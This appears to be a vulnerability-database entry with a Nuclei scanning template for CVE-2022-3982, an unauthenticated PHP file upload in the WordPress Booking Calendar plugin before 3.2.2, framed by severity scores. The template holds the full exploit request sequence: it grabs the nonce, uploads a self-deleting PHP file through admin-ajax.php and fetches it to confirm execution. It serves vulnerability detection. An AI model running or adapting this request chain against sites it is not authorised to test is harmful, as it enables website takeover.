9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
AI Score
Confidence
High
0.289 Low
EPSS
Percentile
96.9%
WordPress Booking Calendar plugin before 3.2.2 is susceptible to arbitrary file upload possibly leading to remote code execution. The plugin does not validate uploaded files, which can allow an attacker to upload arbitrary files, such as PHP, and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
id: CVE-2022-3982
info:
name: WordPress Booking Calendar <3.2.2 - Arbitrary File Upload
author: theamanrawat
severity: critical
description: |
WordPress Booking Calendar plugin before 3.2.2 is susceptible to arbitrary file upload possibly leading to remote code execution. The plugin does not validate uploaded files, which can allow an attacker to upload arbitrary files, such as PHP, and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
This vulnerability can lead to remote code execution, allowing attackers to take control of the affected WordPress website.
remediation: Fixed in 3.2.2.
reference:
- https://wpscan.com/vulnerability/4d91f3e1-4de9-46c1-b5ba-cc55b7726867
- https://wordpress.org/plugins/booking-calendar/
- https://nvd.nist.gov/vuln/detail/CVE-2022-3982
- https://github.com/cyllective/CVEs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-3982
cwe-id: CWE-434
epss-score: 0.23569
epss-percentile: 0.96565
cpe: cpe:2.3:a:wpdevart:booking_calendar:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: wpdevart
product: booking_calendar
framework: wordpress
tags: cve,cve2022,rce,wpscan,wordpress,wp-plugin,wp,booking-calendar,unauthenticated,intrusive,wpdevart
variables:
string: "CVE-2022-3982"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=------------------------1cada150a8151a54
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="action"
wpdevart_form_ajax
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="wpdevart_id"
x
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="wpdevart_nonce"
{{nonce}}
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="wpdevart_data"
{"wpdevart-submit":"X"}
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="wpdevart-submit"
1
--------------------------1cada150a8151a54
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
Content-Type: application/octet-stream
<?php echo md5("{{string}}");unlink(__FILE__);?>
--------------------------1cada150a8151a54--
- |
GET /wp-content/uploads/booking_calendar/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body_3
words:
- '{{md5(string)}}'
extractors:
- type: regex
name: nonce
group: 1
regex:
- var wpdevart.*"ajaxNonce":"(.*?)"
internal: true
# digest: 4b0a0048304602210099fe2d391846a963b4a42e265f17285cd13e4453d388b83e971708525ba76393022100fe66b5447b1a2519e955e905fcbce32ef8cf6ae8c8171ed98e944af9f2fd34fb:922c64590222798bb761d5b6d8e72950
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
AI Score
Confidence
High
0.289 Low
EPSS
Percentile
96.9%